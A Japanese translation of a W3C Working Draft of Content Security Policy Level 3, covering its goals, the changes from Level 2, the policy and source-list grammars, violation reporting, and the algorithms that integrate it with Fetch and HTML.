コンテンツセキュリティポリシー レベル3

W3C作業草案,

この文書の詳細
このバージョン:
https://www.w3.org/TR/2026/WD-CSP3-20260311/
最新版:
https://www.w3.org/TR/CSP3/
編集者草案:
https://w3c.github.io/webappsec-csp/
以前のバージョン:
履歴:
https://www.w3.org/standards/history/CSP3/
フィードバック:
public-webappsec@w3.org 件名 “[CSP3] … メッセージトピック …” (アーカイブ)
Github
編集者:
(Google Inc.)
(Google Inc.)
参加方法:
Issueを提出 (公開中のIssue)
テスト:
web-platform-tests content-security-policy/ (進行中の作業)

概要

本書は、Web開発者が特定ページで取得・実行できるリソースや、セキュリティ関連の各種ポリシー決定を制御する仕組みを定義します。

この文書の位置付け

このセクションは、本書の公開時点での文書の位置付けを説明します。最新のW3C出版物の一覧と、本技術レポートの最新改訂版はW3C技術レポート索引で確認できます。

本書は Webアプリケーションセキュリティ作業グループ によって、勧告プロセスに従い作業草案として公開されました。本書はW3C勧告となることを意図しています。

(アーカイブ) 公開メーリングリスト public-webappsec@w3.org (投稿方法参照) が本仕様の議論に推奨されます。 メール送信時は件名に「CSP3」を含めてください。例えば: 「[CSP3] …コメント概要…

作業草案としての公開は、W3Cおよびその会員による承認を意味しません。本書はドラフト文書であり、随時更新・差し替え・廃止される可能性があります。進行中の作業以外として引用するのは不適切です。

本書は Webアプリケーションセキュリティ作業グループ によって作成されました。

本書は W3C特許方針の下で活動するグループによって作成されました。 W3Cはグループ成果物に関して特許開示の公開リストを管理しています。 特許開示方法についても記載されています。 本人が必須な特許請求を含むと認識した特許を知っている場合は、W3C特許方針第6節に従い開示しなければなりません。

本書は2025年8月18日W3Cプロセス文書の管理下にあります。

以下の機能はリスクありとされており、CR期間中に削除される可能性があります:

「リスクあり」はW3Cプロセス用語であり、必ずしも機能が削除や遅延の危険があることを意味しません。WGが機能の相互運用実装に課題があると考えた場合に付記され、こうすることでWGは提案勧告段階へ移行時に必要なら機能を削除できるようになり、機能を除いた新たな候補勧告を発行せずに済みます。

1. はじめに

このセクションは規範的ではありません。

本書は、開発者がさまざまな方法でアプリケーションをロックダウンし、クロスサイトスクリプティングなどのコンテンツインジェクション脆弱性のリスクを軽減し、アプリケーションの実行権限を低減するために利用できるツールであるコンテンツセキュリティポリシー(CSP)を定義します。

CSPはコンテンツインジェクション脆弱性への第一防御線として意図されていません。むしろCSPは多層防御(ディフェンスインデプス)として利用するのが最適です。悪意あるインジェクションによる被害を軽減しますが、慎重な入力検証や出力エンコーディングの代替ではありません。

本書はContent Security Policy Level 2からの発展版であり、CSP・HTML・Fetchの相互作用をより明確に説明しつつ、モジュール式拡張のためのフックを明確に提供することを目指しています。理想的には、これは新しい機能を構築するための安定したコアとなるはずです。

1.1.

1.1.1. 実行制御

MegaCorp Incの開発者はクロスサイトスクリプティング攻撃から自社を守りたいと考えています。信頼できるCDNのみがスクリプトの読み込み・実行元となるようにすることで、スクリプトインジェクションのリスクを軽減できます。さらに、ページのコンテキストでプラグインが実行されないようにもしたいと考えています。次のポリシーはこれらを実現します:
Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'

1.2. 目的

コンテンツセキュリティポリシーの目的は、以下の関連事項を達成することです:

  1. 開発者に対して、以下の項目についてきめ細かな制御を提供することで、コンテンツインジェクション攻撃のリスクを軽減する

    • 特定のDocument またはWorker のためにリクエストされ(以降埋め込まれたり実行される)リソース

    • インラインスクリプトの実行

    • 動的コード実行(eval() や類似の構造)

    • インラインスタイルの適用

  2. 悪意あるコンテキストでリソースを埋め込む必要がある攻撃(例: [TIMING]で説明される「Pixel Perfect」攻撃)のリスクを軽減するため、開発者にリソースを埋め込めるオリジンをきめ細かく制御できるようにする。

  3. 開発者がアプリケーションの権限を減らすためのポリシーフレームワークを提供する。

  4. 開発者が野生環境で悪用されている脆弱性を検知できるような報告機構を提供する。

1.3. レベル2からの変更点

本書はContent Security Policy Level 2仕様[CSP2]の進化版です。主な変更点の概要:

  1. 仕様は[FETCH] 仕様に基づき全面的に書き直されており、CSPの要件や制限を他仕様(特にService Worker)と統合しやすくなっています。

  2. child-srcモデルが大幅に変更されました:

    1. CSP Level 2で非推奨となっていたframe-srcディレクティブは非推奨が解除されましたが、引き続き未指定時はchild-src(さらにdefault-src)に委譲します。

    2. worker-srcディレクティブが追加され、未指定時はchild-src(さらにscript-src、最終的にdefault-src)に委譲します。

  3. URLマッチングアルゴリズムが、非セキュアなスキーム・ポートとそのセキュアな対応を同様に扱うようになりました。つまり、http://example.com:80http://example.com:80https://example.com:443の両方に一致します。

    同様に、'self'はページのスキームがhttpであってもhttps:wss:のオリジンにも一致します。

  4. インラインスクリプトやスタイルによる違反報告では、ブロックされたリソースとして"inline"が報告されるようになりました。同様に、eval()の実行がブロックされた場合は"eval"が報告されます。

  5. manifest-srcディレクティブが追加されました。

  6. report-uriディレクティブは新しいreport-toディレクティブへ非推奨となりました。report-to[REPORTING]を基盤としています。

  7. 'strict-dynamic'ソース式は、ページで実行されたスクリプトが非"parser-inserted" script 要素を介して追加スクリプトをロードできるようになりました。詳細は§ 8.2 "'strict-dynamic'"の利用参照。

  8. 'unsafe-hashes'ソース式は、イベントハンドラ・スタイル属性・javascript:ナビゲーションターゲットに対するハッシュマッチを許可するようになりました。詳細は§ 8.3 "'unsafe-hashes'"の利用参照。

  9. ソース式のマッチングは、HTTP(S)スキーム以外のスキームについては、ローカルスキームではなく、対象リソースのスキームが同じ場合のみ明示的記述が必要となりました。詳細は§ 6.7.2.8 origin・redirect count付きurlはexpressionに一致するか?参照。

  10. ハッシュベースのソース式は、リクエストをトリガーしたscript要素が現在のポリシーに記載された整合性メタデータを指定している場合、外部スクリプトにも一致するようになりました。詳細は§ 8.4 ハッシュによる外部JavaScript許可参照。

  11. インライン違反の報告には、該当ディレクティブに'report-sample'式が含まれていればsample属性が含まれるようになりました。

2. フレームワーク

2.1. 基盤

本書では、構文の定義にABNF文法を使用しています。ABNFの詳細は[RFC5234]で定義されています。また、 #rule ABNF拡張は RFC9110 セクション5.6.1に従い使用しますが、 OWSoptional-ascii-whitespaceに置き換えています。すなわち、 本書で使用する#ruleは以下のように定義されます:

1#element => element *( optional-ascii-whitespace "," optional-ascii-whitespace element )

n >= 1 かつ m > 1 の場合:

<n>#<m>element => element <n-1>*<m-1>( optional-ascii-whitespace "," optional-ascii-whitespace element )

本書はアルゴリズムや本文で使う基礎概念にInfra Standardを依存しています [INFRA]

以下の定義は本書の他の定義の可読性向上のために使用されます。

optional-ascii-whitespace = *( %x09 / %x0A / %x0C / %x0D / %x20 )
required-ascii-whitespace = 1*( %x09 / %x0A / %x0C / %x0D / %x20 )
; これらの生成規則はASCII空白文字の定義と一致します(INFRA標準参照)。

2.2. ポリシー

ポリシーは 許可・制限される挙動を定義し、DocumentWorkerGlobalScopeWorkletGlobalScope に適用されます。

各ポリシーは、適用時の意味を定義するディレクティブ順序付き集合である ディレクティブセットを持ちます。

各ポリシーは、"enforce"または"report"のいずれかである ディスポジションを持ちます。

各ポリシーは、"header"または"meta"のいずれかである ソースを持ちます。

単一のリソースには複数のポリシーを適用できます。CSPリストは、構造体であり、ポリシーポリシーのリスト)およびself-originオリジンで、 'self'キーワードの一致時に使用されます)から構成されます。

注: これは、'self'チェックを、 ローカルスキームのドキュメント/ワーカーで継承ポリシーを持つが 不透明オリジンの場合に対応するため必要です。通常は 環境設定オブジェクトオリジンになることが多いです。

CSPリストは、ヘッダー配信型のコンテンツセキュリティポリシーを含む場合があります。これは、ポリシー含むポリシーソースが "header"である場合です。

シリアライズ済みCSPは、 セミコロン区切りのシリアライズ済みディレクティブの連続で構成される ASCII文字列です。次のABNF文法に従います [RFC5234]:

serialized-policy =
    serialized-directive *( optional-ascii-whitespace ";" [ optional-ascii-whitespace serialized-directive ] )

シリアライズ済みCSPリストは、 カンマ区切りのシリアライズ済みCSPの連続で構成される ASCII文字列です。次のABNF文法に従います [RFC5234]:

serialized-policy-list = 1#serialized-policy
                    ; '#'規則はRFC9110のセクション5.6.1で定義されているものですが、
                    ; 本書2.1節で指定された修正を含みます。

2.2.1. シリアライズ済みCSPの解析

シリアライズ済みCSPを解析するには、バイト列または 文字列 serializedソース sourceディスポジション dispositionが与えられたとき、以下の手順を実行します。

このアルゴリズムはContent Security Policyオブジェクトを返します。serializedが 解析できなかった場合、オブジェクトのディレクティブセットは空になります。

  1. もしserializedバイト列なら、 serialized等価デコードした結果に更新する。

  2. policyを新しいポリシー(空のディレクティブセットソースsourceディスポジションdisposition)とする。

  3. tokenについて、厳密に serializedをU+003Bセミコロン(;)で分割して:

    1. 前後のASCII空白文字を除去する。

    2. もしtokenが空文字列、またはASCII文字列でない場合、続行

    3. directive nameを、ASCII空白文字以外のコードポイントを tokenから収集した結果とする。

    4. directive nameASCII小文字化した結果に更新する。

      注: ディレクティブ名は大文字・小文字を区別しません。 例:script-SRC 'none'ScRiPt-sRc 'none'は等価です。

    5. もしpolicyディレクティブセットディレクティブが存在し、 その名前directive nameなら、続行

      注: この場合、ユーザーエージェントは重複ディレクティブが無視されたことを開発者に通知するべきです。例えばコンソール警告など。

    6. directive valuetokenをASCII空白で分割した結果とする。

    7. directiveを新しいディレクティブ名前directive namedirective value)とする。

    8. policyのディレクティブセットにdirectiveを追加。

  4. policyを返す。

2.2.2. responseのContent Security Policyを解析

responseのContent Security Policyを解析するには、response responseが与えられたとき、以下の手順を実行する。

このアルゴリズムはCSPリストを返します。 ポリシーが解析できない場合、返されるリストのポリシーは空になります。

  1. policiesを空のリストとして初期化します。

  2. それぞれtokenについて、ヘッダーリスト値の抽出Content-Security-Policyおよびresponseヘッダーリストを入力とした結果を取得します:

    1. policy解析したtokenの結果とし、 ソースは"header"、 dispositionは"enforce"とします。

    2. policyディレクティブセットが空でない場合、 policypoliciesに追加します。

  3. それぞれtokenについて、ヘッダーリスト値の抽出Content-Security-Policy-Report-Onlyおよびresponseヘッダーリストを入力とした結果を取得します:

    1. policy解析したtokenの結果とし、 ソースは"header"、 dispositionは"report"とします。

    2. policyディレクティブセットが空でない場合、 policypoliciesに追加します。

  4. CSPリストを返します。 そのポリシーpoliciesであり、 self-originresponseurlオリジンとなります。

注: responseのContent Security Policyを解析した結果、policiesが1つ以上含まれる場合、ユーザーエージェントはpoliciesにフラグを保持し、contains a header-delivered Content Security Policyアルゴリズムを省略する最適化に利用できる。

2.3. ディレクティブ

ポリシーは、順序付き集合ディレクティブ(自身の ディレクティブセット)を含み、それぞれが特定の動作を制御します。本書で定義されているディレクティブは § 6 コンテンツセキュリティポリシーのディレクティブ で詳しく説明されています。

ディレクティブは、名前 / のペアです。名前は 空でない文字列は空でない文字列集合です。 でも構いません。

シリアル化ディレクティブは、1つ以上の空白区切りトークンからなるASCII文字列であり、以下のABNF [RFC5234]に従います:

serialized-directive = directive-name [ required-ascii-whitespace directive-value ]
directive-name       = 1*( ALPHA / DIGIT / "-" )
directive-value      = *( required-ascii-whitespace / ( %x21-%x2B / %x2D-%x3A / %x3C-%x7E ) )
                       ; ディレクティブ値には空白やVCHAR文字を含めることができます。
                       ; ";"と","は除きます。定義の後半部分は
                       ; ";"と","(それぞれ %x3B, %x2C)を除いた全てのVCHAR文字 (%x21-%x7E) を表します。

; ALPHA, DIGIT, およびVCHARはRFC 5234のAppendix B.1で定義されています。

ディレクティブには、いくつかの関連アルゴリズムがあります:

  1. 事前リクエストチェック。これはリクエストポリシーオリジン を引数に取り、§ 4.1.2 リクエストはCSPでブロックされるべきか?の実行の際に使用されます。特に指定がない限りこのアルゴリズムは"Allowed"を返します。

  2. 事後リクエストチェック。これはリクエストレスポンスポリシーオリジンを引数に取り、 § 4.1.3 リクエストのレスポンスはCSPでブロックされるべきか?の実行の際に使用されます。特に指定がない限り、このアルゴリズムは"Allowed"を返します。

  3. インラインチェック。これはElement、 型文字列、ポリシー、ソース文字列を引数に取り、§ 4.2.3 要素のインライン型動作はCSPでブロックされるべきか?§ 4.2.4 ナビゲーションリクエストの型はCSPでブロックされるべきか?javascript:リクエスト時に実行されます。特に指定がない限りこのアルゴリズムは"Allowed"を返します。

  4. 初期化。これはDocument またはグローバルオブジェクトポリシーを引数として実行されます。これは§ 4.2.1 DocumentのCSP初期化の実行§ 4.2.6 グローバルオブジェクトのCSP初期化の実行で使われます。特に指定がない限り何の影響も与えず"Allowed"を返します。

  5. 事前ナビゲーションチェック。これはリクエスト、ナビゲーション型文字列 ("form-submission"または"other")、ポリシーオリジン を引数に取り、 § 4.2.4 ナビゲーションリクエストの型はCSPでブロックされるべきか?の実行時に使用されます。特に指定がない限り"Allowed"を返します。

  6. ナビゲーションレスポンスチェック。これは リクエスト、ナビゲーション型文字列 ("form-submission"または"other")、レスポンスナビゲーブル、チェック型文字列 ("source"または"response")、ポリシーオリジンを引数に取り、 § 4.2.5 ナビゲーションリクエストの型へのナビゲーションレスポンスはCSPでブロックされるべきか?の実行時に使用されます。特に指定がない限り"Allowed"を返します。

  7. WebRTC接続前チェック。これはポリシーを引数に取り、 § 4.3.1 グローバルでRTC接続をブロックするべきか?の実行時に使用されます。特に指定がない限り"Allowed"を返します。

2.3.1. ソースリスト

多くのディレクティブソースリスト集合型の文字列)であり、取得・埋め込み・実行できるコンテンツを識別する。各文字列は以下いずれかのソース式を表す:

  1. 'none''self'などのキーワード(それぞれ何も一致しない/現在のURLのオリジンに一致)

  2. シリアライズ済みURL(例:https://example.com/path/to/file.jsは特定ファイルに一致、https://example.com/はオリジン全体に一致)

  3. スキーム(例:https:は指定スキームのリソースすべてに一致)

  4. example.com のようなホスト(スキームに関係なく、そのホストのどのリソースにも一致します)、または *.example.com のようなホスト(そのホストのサブドメイン、およびさらにそのサブドメインのサブドメインなど、どのリソースにも一致します)

  5. ノンス(例:'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA'はページ上の特定要素に一致)

  6. ダイジェスト(例:'sha256-abcd...'はページ上の特定要素に一致)

シリアライズ済みソースリストは、 空白区切りで連続するソース式からなるASCII文字列で、以下のABNF文法に従う [RFC5234]:

serialized-source-list = ( source-expression *( required-ascii-whitespace source-expression ) ) / "'none'"
source-expression      = scheme-source / host-source / keyword-source
                         / nonce-source / hash-source

; Schemes: "https:" / "custom-scheme:" / "another.custom-scheme:"
scheme-source = scheme-part ":"

; Hosts: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
host-source = [ scheme-part "://" ] host-part [ ":" port-part ] [ path-part ]
scheme-part = scheme
              ; scheme is defined in section 3.1 of RFC 3986.
host-part   = "*" / [ "*." ] 1*host-char *( "." 1*host-char ) [ "." ]
host-char   = ALPHA / DIGIT / "-"
port-part   = 1*DIGIT / "*"
path-part   = path-absolute (but not including ";" or ",")
              ; path-absolute is defined in section 3.3 of RFC 3986.

; Keywords:
keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
                 / "'strict-dynamic'" / "'unsafe-hashes'"
                 / "'report-sample'" / "'unsafe-allow-redirects'"
                 / "'wasm-unsafe-eval'" / "'trusted-types-eval'"
                 / "'report-sha256'" / "'report-sha384'"
                 / "'report-sha512'" / "'unsafe-webtransport-hashes'"

ISSUE: Bikeshed unsafe-allow-redirects.

; Nonces: 'nonce-[nonce goes here]'
nonce-source  = "'nonce-" base64-value "'"
base64-value  = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )

; Digests: 'sha256-[digest goes here]'
hash-source    = "'" hash-algorithm "-" base64-value "'"
hash-algorithm = "sha256" / "sha384" / "sha512"

host-char生成規則は意図的にASCII文字のみを含みます。国際化ドメイン名はシリアライズ済みCSPに直接入力できず、Punycodeエンコードが必須です [RFC3492]。例:üüüüüü.dexn--tdaaaaaa.deで記述しなければなりません。

注: IPアドレスは上記文法に一致するが、実際にURL一致するのは127.0.0.1のみ(詳細は§ 6.7.2.7 origin・redirect count付きurlはsource listに一致するか?参照)。IPアドレスのセキュリティ特性は疑わしいため、著者は可能な限りホスト名を利用するべきである。

注: base64-value文法はbase64およびbase64urlエンコーディング両方を許容する。これらはhash-source値の処理時は同等に扱われる。ノンスは厳密な文字列一致のみ:base64-value文法で許可文字を制限し、サーバー運用者の負担(エンコーディング等)を減らすが、ユーザーエージェントは値の解釈やデコードは一切行わない。

2.4. 違反

違反は、ポリシーオブジェクト群に対して グローバルオブジェクトで行われた動作やリソースが規則に反することを表します。

違反には グローバルオブジェクトがあり、 グローバルオブジェクトポリシーが違反されたものです。

違反にはURLがあり、 これはグローバルオブジェクトURLです。

違反には ステータスがあります。これは グローバルオブジェクトが生成されたリソースの HTTP ステータスコードを表す非負整数です。

違反には リソースがあります。 これは null、"inline"、"eval"、"wasm-eval"、 "trusted-types-policy"、"trusted-types-sink" または URL のいずれかです。 ポリシーに違反したリソースを表します。

注: 違反リソースが null なのは違反が作成中のときのみ許容されます。 違反が報告され リソースブロックされたURI取得に使われる時点では、 違反リソースには URL か許容された文字列が格納されている必要があります。

違反には リファラーがあります。これは null か URL です。 違反したリソースのリファラーを表します。

違反には ポリシーがあり、 違反されたポリシーです。

違反には ディスポジションがあり、 違反されたディスポジションポリシーのディスポジション)です。

違反には 有効ディレクティブがあります。 これは違反を引き起こしたディレクティブを表す空でない文字列です。

違反には ソースファイルがあり、 null または URLです。

違反には 行番号があり、 非負整数です。

違反には 列番号があり、 非負整数です。

違反には 要素があり、 null または要素です。

違反にはサンプルがあります。 これは文字列です。指定がなければ空文字列となります。

注: 違反サンプルには、違反を引き起こしたインラインスクリプト、イベントハンドラ、またはスタイルの先頭40文字が格納されます。外部ファイル由来の違反は、違反レポートにサンプルを含めません。

2.4.1. globalpolicydirectiveのために違反オブジェクトを作成する

グローバルオブジェクトglobalポリシーpolicy、そして 文字列 directiveが与えられたとき、以下のアルゴリズムは新しい違反 オブジェクトを作成し、初期データで埋めます:

  1. violationを新しい違反として作成する。そのグローバルオブジェクトglobalポリシーpolicy有効ディレクティブdirective、そして リソースはnullとする。

  2. ユーザーエージェントが現在スクリプトを実行中であり、globalからソースファイルのURL、行番号、列番号を抽出できる場合、violationソースファイル行番号、および列番号を適切に設定する。

    このような仕様はどこかにありますか?[ECMA262]には有用なものは見当たりませんでした。

    注: ユーザーエージェントはソースファイルがページに要求されたURL(リダイレクト前)であることを保証する必要があります。それが不可能な場合は、意図しない漏洩を避けるためにURLをオリジンまで短縮する必要があります。

  3. globalWindow オブジェクトである場合、violationリファラーglobaldocumentreferrerに設定する。

  4. violationステータスを、violationグローバルオブジェクトに関連付けられたリソースのHTTPステータスコードに設定する。

    ステータスコードを正確にどう取得するか?実際にはどこにも保存されていません。

  5. violationを返す。

2.4.2. requestおよびpolicyのために違反オブジェクトを作成する

リクエストrequestポリシーpolicyが与えられたとき、 以下のアルゴリズムは新しい違反オブジェクトを作成し、初期データで埋めます:

  1. directiveを、§ 6.8.1 リクエストの有効ディレクティブを取得するrequestに対して実行した結果とする。

  2. violationを、§ 2.4.1 globalpolicydirectiveのために違反オブジェクトを作成するrequestclientグローバルオブジェクトpolicydirectiveに対して実行した結果とする。

  3. violationリソースrequesturlに設定する。

    注: requesturlを利用し、current urlは使用しません。current urlにはページがアクセスしてはならないリダイレクト先の情報が含まれている可能性があるためです。

  4. violationを返す。

3. ポリシーの配信

サーバーは特定のポリシーを、リソース表現ごとに、値が直列化CSPであるHTTPレスポンスヘッダーフィールドを通じて宣言してもよい(MAY)。このメカニズムの詳細は、§ 3.1 Content-Security-Policy HTTPレスポンスヘッダーフィールドおよび§ 3.2 Content-Security-Policy-Report-Only HTTPレスポンスヘッダーフィールドで定義されており、FetchやHTMLとの統合については§ 4.1 Fetchとの統合§ 4.2 HTMLとの統合で説明されている。

ポリシーは、HTML文書の meta 要素の http-equiv 属性を使ってインラインで宣言することもできます。詳細は § 3.3 <meta>要素 を参照してください。

3.1. Content-Security-Policy HTTPレスポンスヘッダーフィールド

Content-Security-Policy HTTPレスポンスヘッダーフィールドは、サーバーからクライアントへポリシーを配信するための推奨メカニズムです。ヘッダーの値は以下のABNFで表現されます [RFC5234]:

Content-Security-Policy = 1#serialized-policy
                    ; '#'ルールはRFC 9110の5.6.1節で定義されています
                    ; ただし本書2.1節で指定された修正が加えられています
Content-Security-Policy: script-src 'self';
                         report-to csp-reporting-endpoint

サーバーは同じリソースの表現ごとに、異なるContent-Security-Policyヘッダーフィールド値を送信してもよい(MAY)。

ユーザーエージェントがContent-Security-Policyヘッダーフィールドを受信した場合、含まれる各直列化CSP構文解析し、適用しなければならない(MUST)。詳細は§ 4.1 Fetchとの統合§ 4.2 HTMLとの統合を参照。

3.2. Content-Security-Policy-Report-Only HTTPレスポンスヘッダーフィールド

Content-Security-Policy-Report-Only HTTPレスポンスヘッダーフィールドは、ウェブ開発者がポリシーの効果を監視(適用はせず)して実験することを可能にします。ヘッダーの値は次のABNFで表現されます [RFC5234]:

Content-Security-Policy-Report-Only = 1#serialized-policy
                    ; '#'ルールはRFC 9110の5.6.1節で定義されています
                    ; ただし本書2.1節で指定された修正が加えられています

このヘッダーフィールドにより、開発者はセキュリティポリシーを段階的に構築できます。最初はサイトの挙動を推定してレポート専用ポリシーをデプロイし、違反レポートを監視し、十分な信頼を得たら適用ポリシーへ移行します。

Content-Security-Policy-Report-Only: script-src 'self';
                                     report-to csp-reporting-endpoint

サーバーは同じリソースの表現ごとに、異なるContent-Security-Policy-Report-Onlyヘッダーフィールド値を送信してもよい(MAY)。

ユーザーエージェントがContent-Security-Policy-Report-Onlyヘッダーフィールドを受信した場合、含まれる各直列化CSP構文解析し、監視しなければならない(MUST)。詳細は§ 4.1 Fetchとの統合および§ 4.2 HTMLとの統合を参照。

注: Content-Security-Policy-Report-Only ヘッダーは meta要素内ではサポートされていませんmeta 要素内では使用できません。

3.3. <meta>要素

Document は、1つ以上のHTML meta 要素を通じてポリシーを配信できます。 これらの http-equiv 属性が、文字列"Content-Security-Policy"とASCII大文字・小文字を区別しない一致であれば認識されます。例:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

実装の詳細はHTMLのContent Security Policy state http-equiv処理規則 [HTML] を参照。

注: Content-Security-Policy-Report-Only ヘッダーは meta要素内ではサポートされていません。また、report-uriframe-ancestorssandboxディレクティブもサポートされません。

著者は強く推奨されますmeta 要素を文書のなるべく早い位置に配置することを。 meta 要素によるポリシーは、それより前の内容には適用されないためです。特に、Link HTTPレスポンスヘッダーで取得・プリフェッチされたリソースや、 link および script 要素で取得・プリフェッチされたリソースが、meta配信ポリシーより前であればブロックされません。

注: meta 要素で指定されたポリシーは、保護対象リソースに有効な他のポリシーとともに強制されます。記述場所に関わらず有効です。複数ポリシー強制の一般的影響は§ 8.1 複数ポリシーの効果で説明しています。

注: content 属性を meta 要素の構文解析後に変更しても、無視されます。

4. 統合

この節は規範的ではありません。

本書は他の仕様で機能を実装するために利用される一連のアルゴリズムを定義します。これらの統合は説明のためにここで概説されていますが、詳細な情報については外部文書が規範的参照元となるため、それらを参照する必要があります。

4.1. Fetchとの統合

複数のディレクティブが、さまざまな方法でリソースのロードを制御します。本仕様はFetchが特定のリクエストをブロックすべきか許可すべきか判断し、特定のレスポンスネットワークエラーに置き換えるべきかどうかを決定するためのアルゴリズムを提供します。

  1. § 4.1.2 Content Security Policyでリクエストをブロックすべきか?は、Main Fetchアルゴリズムのステップ2.4の一部として呼び出されます。これにより、ディレクティブの事前リクエストチェックが各リクエストがネットワークに到達する前、およびリソースに到達するまでのリダイレクトにも実行できます。

  2. § 4.1.3 Content Security Policyでリクエストのレスポンスをブロックすべきか?は、Main Fetchアルゴリズムのステップ11の一部として呼び出されます。これにより、ディレクティブの事後リクエストチェックがネットワークまたはService Workerから返されたレスポンスに対して実行されます。

4.1.1. requestに対するContent Security Policy違反を報告する

リクエスト requestが与えられたとき、このアルゴリズムはポリシーコンテナCSPリストに含まれる「report only」ポリシーに基づいて違反を報告します。

  1. CSPリストrequestポリシーコンテナCSPリストとする。

  2. それぞれ CSPリストポリシーpolicyについて:

    1. policyディスポジションが"enforce"の場合、次のpolicyへ進む。

    2. violatesを、requestpolicyCSPリストself-originを引数にして § 6.7.2.1 リクエストがポリシー違反しているか? を実行した結果とする。

    3. violatesが"Does Not Violate"でない場合、 § 2.4.2 リクエストとポリシーの違反オブジェクト作成requestpolicyを渡して生成した結果に対して § 5.5 違反レポートを実行する。

4.1.2. requestはContent Security Policyでブロックされるべきか?

リクエスト requestが与えられたとき、このアルゴリズムはBlockedまたはAllowedを返し、 requestポリシーコンテナCSPリストに基づいて違反を報告します。

  1. CSPリストrequestポリシーコンテナCSPリストとする。

  2. resultを"Allowed"とする。

  3. それぞれCSPリストポリシーpolicyについて:

    1. policyディスポジションが"report"の場合、次のpolicyへ進む。

    2. violatesrequestpolicyCSPリストself-originを引数として § 6.7.2.1 リクエストがポリシー違反しているか? を実行した結果とする。

    3. violatesが"Does Not Violate"でない場合:

      1. § 2.4.2 リクエストとポリシーの違反オブジェクト作成requestpolicyを使って生成した結果に対して§ 5.5 違反を報告を実行する。

      2. resultを"Blocked"に設定する。

  4. resultを返す。

4.1.3. requestへのresponseはContent Security Policyでブロックされるべきか?

レスポンス responseリクエスト requestが与えられたとき、このアルゴリズムはBlockedまたはAllowedを返し、 requestポリシーコンテナCSPリストに基づいて違反を報告します。

  1. CSPリストrequestポリシーコンテナCSPリストとする。

  2. resultを"Allowed"とする。

  3. それぞれ CSPリストポリシーpolicyについて:

    1. それぞれ policydirectiveについて:

      1. directive事後リクエストチェックrequestresponsepolicyCSPリストself-originを引数に実行した結果が "Blocked"であれば:

        1. § 2.4.2 リクエストと ポリシーの違反オブジェクト作成requestpolicyを渡して生成した結果に § 5.5 違反を報告を実行する。

        2. policyディスポジションが "enforce"ならresultを"Blocked"に設定する。

    注: このチェック部分は ページがレスポンスを読み込めることを確認します。つまり、 Service WorkerがページのCSPに違反するファイルを置き換えていないかを確認します。

  4. resultを返す。

4.1.4. ハッシュを報告する可能性

レスポンス responseリクエスト requestディレクティブ directiveContent Security Policyオブジェクト policyが与えられたとき、以下の手順を実行する:

  1. algorithmを空の文字列とする。

  2. directiveが"'report-sha256'"を含むなら、algorithmを"sha256"に設定する。

  3. directiveが"'report-sha384'"を含むなら、algorithmを"sha384"に設定する。

  4. directiveが"'report-sha512'"を含むなら、algorithmを"sha512"に設定する。

  5. algorithmが空の文字列なら、return。

  6. hashを空の文字列とする。

  7. responseCORS-same-originなら:

    1. happly algorithm to bytesresponsebodyalgorithmに対して実行した結果とする。

    2. hashalgorithm、U+2D(-)、h連結とする。

  8. globalrequestclientグローバルオブジェクトとする。

  9. globalWindowでない場合、return。

  10. stripped document URL§ 5.4 レポート用途のURLを除去するglobaldocumentURLに対して実行した結果とする。

  11. policyディレクティブセットに"report-to"というディレクティブが含まれないなら、return。

  12. report-to directivepolicyディレクティブセットから"report-to"というディレクティブとして取得する。

  13. bodycsp hash report bodyとして作成し、stripped document URLdocumentURLrequestのURLをsubresourceURLhashhashrequestdestinationdestination、"subresource"をtypeとする。

  14. Generate and queue a reportを次の引数で実行する:

    context

    settings object

    type

    "csp-hash"

    destination

    report-to directive

    data

    body

4.2. HTMLとの統合

  1. ポリシーコンテナにはCSPリストがあり、 指定されたコンテキストで有効なすべてのポリシーオブジェクトを保持します。 このリストは特に指定がない限り空であり、 レスポンスから 解析 によってレスポンスのコンテンツセキュリティポリシーが追加されるか、 ポリシーコンテナの規則に従い継承して設定されます。

  2. グローバルオブジェクトCSPリストは、 § 4.2.2 オブジェクトのCSPリスト取得グローバルオブジェクトobjectとして渡し実行した結果です。

  3. ポリシーは、強制または監視として、 グローバルオブジェクトCSPリストに挿入することで有効になります。

  4. § 4.2.1 DocumentのCSP初期化は、 新しいDocumentオブジェクト作成・初期化 アルゴリズムで呼び出されます。

  5. § 4.2.3 要素のインライン型動作はCSPでブロックされるべきか?は、 スクリプト要素の準備styleブロックの更新 アルゴリズム内で、 インラインスクリプトやstyleブロックの実行・描画許可を判断するために呼び出されます。

  6. § 4.2.3 要素のインライン型動作はCSPでブロックされるべきか?は、 インラインイベントハンドラ(例:onclick)やインラインstyle属性の処理時にも実行され、 これらの実行・描画許可を判断します。

  7. ポリシー強制 として meta 要素の http-equiv 属性処理時に適用されます。

  8. HTMLは各リクエスト暗号学的nonceメタデータパーサーメタデータを、 リソース読込を担当する要素の情報で構成します。

    スタイルシート読込はWHATWGのHTMLでまだFetchと統合されていません。 [whatwg/html Issue #968]

  9. § 6.3.1.1 documentでbaseが許可されているか?は、 base要素の 固定base URL設定 アルゴリズムで、href属性値の妥当性を保証するために呼び出されます。

  10. § 4.2.4 ナビゲーションリクエストの型はCSPでブロックされるべきか?fetchによるナビゲーションパラメータ作成 アルゴリズム内で呼び出されます。 § 4.2.5 ナビゲーションリクエストの型でターゲット内のナビゲーションレスポンスはCSPでブロックされるべきか? は、 履歴エントリのdocumentを生成しようとする アルゴリズムで、ディレクティブのナビゲーションチェックやjavascript:URLへのナビゲーション時のインラインチェックに使われます。

  11. § 4.2.6 グローバルオブジェクトのCSP初期化は、 workerの実行 アルゴリズムで呼び出されます。

  12. sandboxディレクティブは CSP由来のサンドボックスフラグ を構成するのに使用されます。

4.2.1. DocumentのためにCSP初期化を実行する

Document documentが与えられたとき、ユーザーエージェントはdocumentのCSPを初期化するために以下の手順を実行します:

  1. それぞれ documentポリシーコンテナCSPリストpolicy について:

    1. それぞれ policydirective について:

      1. directive初期化 アルゴリズムを documentpolicy で実行し、その返り値が "Allowed" であることを確認する。

4.2.2. objectCSPリストを取得する

objectCSPリストを取得するには:

  1. objectDocumentなら、objectポリシーコンテナCSPリストを返す。

  2. objectWindowWorkerGlobalScopeまたはWorkletGlobalScopeなら、環境設定オブジェクトポリシーコンテナCSPリストを返す。

  3. nullを返す。

